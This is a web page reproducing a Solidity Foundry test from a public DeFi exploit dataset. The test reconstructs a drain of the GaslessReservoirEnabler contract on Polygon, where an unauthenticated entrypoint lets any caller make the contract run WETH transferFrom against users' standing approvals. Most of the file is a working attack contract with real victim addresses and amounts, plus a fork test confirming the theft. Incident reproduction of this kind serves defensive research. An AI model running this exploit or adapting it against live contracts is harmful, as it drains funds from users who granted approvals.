Public reproduction file
src/test/2026-09/GaslessReservoirEnabler_exp.sol
Public reproduction file for dataset entry GaslessReservoirEnabler.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import "forge-std/Test.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Gasless meta-transaction relayer drain — Polygon. GaslessReservoirEnabler exposes a permissionless8// entrypoint erc20WithTransfersAndExecute(ERC20Transfer[], ExecutionInfo[]). The ExecutionInfo leg lets9// the caller name a `module` and arbitrary `data`, and the contract runs module.call(data) after checking10// only that (a) the module is on moduleWhitelist and (b) the module is a contract. It never restricts what11// `data` may be. The live WETH token contract is itself whitelisted as a "module", so a caller can pass12// data = transferFrom(victim, attacker, amount): the enabler becomes msg.sender to WETH, and any address13// that had a standing WETH approval to the enabler is drained. No signature, no privileged role, no owner14// binding — the meta-transaction signature path (executeMetaTransaction) is bypassed entirely.15//16// Attack tx : 0x2e476745f0f546dbe4583359ea6258dfb4fababea08734f676df2e6006e1fdee (block 94199850)17// Attacker : 0x46f54C1A86575679FC3d29666C1717E9786279Aa (via helper 0x26a3d1f2...)18// Enabler : 0x9B58fDAdc16E30fBA313E044bf9e88689C3F163e (verified source; NOT a proxy)19// Token : WETH 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619 (whitelisted module)20// Loss : 8.7199 WETH across 466 victims in this tx (~$23.8K at the fork-block WETH price), i.e. the21// ~$23K reported. This PoC reproduces the 3 largest victims (2.3546 WETH, ~$6.4K, ~27% of the22// WETH leg by value), which is sufficient per this repo's convention; matching all 466 is not.23//24// ROOT CAUSE — confirmed against the verified source, the tx trace, and direct on-chain reads:25// 1. erc20WithTransfersAndExecute is `external nonReentrant` with no auth. Its ExecutionInfo loop calls26// _executeInternal, which does: require(moduleWhitelist[module]); require(module.isContract());27// module.call{value}(data). The `data` is fully caller-controlled and unvalidated.28// 2. moduleWhitelist[WETH] == true at the fork block (direct read). A live ERC20 is a valid "module".29// 3. The attacker submits 466 ExecutionInfos, each {module: WETH, data: transferFrom(victim, helper,30// amount), value: 0}. Decoded straight from the real calldata (see the drain() encoding below — it31// rebuilds the same typed struct, no raw calldata blob is replayed).32// 4. Because the enabler is msg.sender to WETH, and every victim had granted a standing (near-max)33// approval to the enabler, transferFrom(victim, helper, amount) succeeds. The `from` is pure caller34// input with nothing binding it to msg.sender or to any signature. erc20sTransfers (which would pull35// from _msgSender()) is left EMPTY; the whole drain runs through the whitelisted-module-call leg.36//37// This is a pure missing-authorization bug, callable by any address with zero setup — not a replay of a38// stolen off-chain signature or a relayer-key compromise. Verified at the parent block for all 3 victims39// reconstructed here: each holds exactly the drained WETH amount and carries a live max-ish allowance to40// the enabler.41//42// Run:43// forge test --contracts src/test/2026-09/GaslessReservoirEnabler_exp.sol -vvv45address constant ENABLER = 0x9B58fDAdc16E30fBA313E044bf9e88689C3F163e;46address constant WETH = 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619;47// UniV3 WETH/USDC.e 0.05% pool on Polygon: token0 = USDC.e (6dp), token1 = WETH (18dp). Read live at the48// fork block only to price the drained WETH in USD for the proportional-share assertion. No hardcoded price.49address constant WETH_USDC_POOL = 0x45dDa9cb7c25131DF268515131f647d726f50608;51// Real ABI of the vulnerable entrypoint, recovered from the verified source. Typed structs, not a blob.52struct ERC20Transfer {53 IERC20 token;54 uint256 amount;55}57struct ExecutionInfo {58 address module;59 bytes data;60 uint256 value;61}63interface IGaslessReservoirEnabler {64 function erc20WithTransfersAndExecute(65 ERC20Transfer[] calldata erc20sTransfers,66 ExecutionInfo[] calldata executionInfos67 ) external;68 function moduleWhitelist(address module) external view returns (bool);69 function hasRole(bytes32 role, address account) external view returns (bool);70}72interface IUniV3Pool {73 function slot0() external view returns (uint160 sqrtPriceX96, int24, uint16, uint16, uint16, uint8, bool);74}76contract GaslessReservoirEnabler_exp is Test {77 bytes32 constant DEFAULT_ADMIN_ROLE = 0x00;79 // Three representative (largest) victims from the real tx, and their exact drained WETH amounts.80 address[] internal victims;81 uint256[] internal amounts;83 GaslessDrainExploit internal exploit;85 function setUp() public {86 // Parent block of the exploit tx: real enabler config + real victim approvals/balances just before.87 vm.createSelectFork("polygon", 94_199_849);89 victims.push(0x2F785EF4f514F6b785Ab93062e05CfCC937faC96);90 amounts.push(836_325_335_838_961_283);91 victims.push(0xd7026A56F38962F224753Bb59c25abc7dD687884);92 amounts.push(767_721_189_811_708_090);93 victims.push(0x5eADDc6F18c0341C1680AD669BEe6896509F6A60);94 amounts.push(750_557_578_015_940_925);96 exploit = new GaslessDrainExploit();98 vm.label(ENABLER, "GaslessReservoirEnabler");99 vm.label(WETH, "WETH");100 vm.label(address(exploit), "Attacker");101 }103 /// forge-config: default.evm_version = "cancun"104 function testExploit() public {105 IGaslessReservoirEnabler enabler = IGaslessReservoirEnabler(ENABLER);107 // CONFIRM the flawed config: a live ERC20 is whitelisted as an executable module. This is what108 // turns the unvalidated module.call(data) into an arbitrary transferFrom of any standing approval.109 assertTrue(enabler.moduleWhitelist(WETH), "WETH must be a whitelisted module (the misconfig)");111 // CONFIRM the attacker is unprivileged: no role, no signature, nothing. The drain path needs none.112 assertFalse(enabler.hasRole(DEFAULT_ADMIN_ROLE, address(exploit)), "attacker must hold no admin role");114 uint256 totalExpected;115 for (uint256 i = 0; i < victims.length; i++) {116 // These are the REAL preconditions on the fork: each victim already granted a standing approval117 // to the enabler and holds the WETH. Nothing is minted, dealt, or pranked — reality as-is.118 uint256 bal = IERC20(WETH).balanceOf(victims[i]);119 uint256 allow = IERC20(WETH).allowance(victims[i], ENABLER);120 assertGe(bal, amounts[i], "victim must hold the WETH to be drained");121 assertGe(allow, amounts[i], "victim must have a real standing approval to the enabler");122 totalExpected += amounts[i];123 }125 uint256 attackerBefore = IERC20(WETH).balanceOf(address(exploit));127 // Fire the real vulnerable entrypoint with typed structs: empty transfers + one ExecutionInfo per128 // victim, each {module: WETH, data: transferFrom(victim, attacker, amount)}.129 exploit.drain(ENABLER, WETH, victims, amounts);131 uint256 stolen = IERC20(WETH).balanceOf(address(exploit)) - attackerBefore;133 for (uint256 i = 0; i < victims.length; i++) {134 emit log_named_address("drained victim", victims[i]);135 emit log_named_decimal_uint(" WETH taken", amounts[i], 18);136 }137 emit log_named_decimal_uint("total WETH drained", stolen, 18);138 assertEq(stolen, totalExpected, "attacker must capture the victims' full WETH");140 // Proportional-share check. Price the drained WETH in USD from a live pool at the fork block, and141 // assert it is a material slice of the ~$23.8K WETH-leg total (this subset is ~27% by value).142 (uint160 sqrtP,,,,,,) = IUniV3Pool(WETH_USDC_POOL).slot0();143 // token0=USDC.e(6), token1=WETH(18): USDC per WETH = 2^192 * 1e12 / sqrtPriceX96^2.144 uint256 usdcPerWeth = ((uint256(2) ** 192) * 1e12) / (uint256(sqrtP) * uint256(sqrtP));145 uint256 usdStolen = (stolen * usdcPerWeth) / 1e18;146 emit log_named_uint("drained value (USD, approx)", usdStolen);147 assertGt(usdStolen, 3000, "reconstructed loss should be a material USD amount");148 assertLt(usdStolen, 12_000, "reconstructed subset should be a fair share, not the full incident");149 }150}152// Reconstruction of the attacker's batch driver. An ordinary, unprivileged contract: it builds one153// ExecutionInfo per victim and makes a single real typed call to the enabler. No signature, no role.154contract GaslessDrainExploit {155 address public immutable recipient;157 constructor() {158 recipient = address(this);159 }161 function drain(address enabler, address token, address[] calldata targets, uint256[] calldata amts) external {162 ExecutionInfo[] memory infos = new ExecutionInfo[](targets.length);163 for (uint256 i = 0; i < targets.length; i++) {164 // module = the whitelisted WETH token; data = a transferFrom pulling the victim's standing165 // approval to this contract. Built from typed args, exactly the shape decoded from the real tx.166 infos[i] = ExecutionInfo({167 module: token,168 data: abi.encodeWithSelector(IERC20.transferFrom.selector, targets[i], recipient, amts[i]),169 value: 0170 });171 }173 // erc20sTransfers left empty: the entire drain rides the unvalidated module-call leg.174 ERC20Transfer[] memory noTransfers = new ERC20Transfer[](0);175 IGaslessReservoirEnabler(enabler).erc20WithTransfersAndExecute(noTransfers, infos);176 }177}Analysis
Dataset entry
Public Foundry test for “GaslessReservoirEnabler” (2026-09-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x46f54c1a86575679fc3d29666c1717e9786279aa
- Attack Tx
0x2e476745f0f546dbe4583359ea6258dfb4fababea08734f676df2e6006e1fdee
File record
- Name
- GaslessReservoirEnabler
- Path
- src/test/2026-09/GaslessReservoirEnabler_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a130120436d5ce9387dd5bb038b9ed1e3a94db1b
- Language
- Solidity
- Size
- 178 lines
- Date
- 2026-09-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/GaslessReservoirEnabler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a130120436d5ce9387dd5bb038b9ed1e3a94db1b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.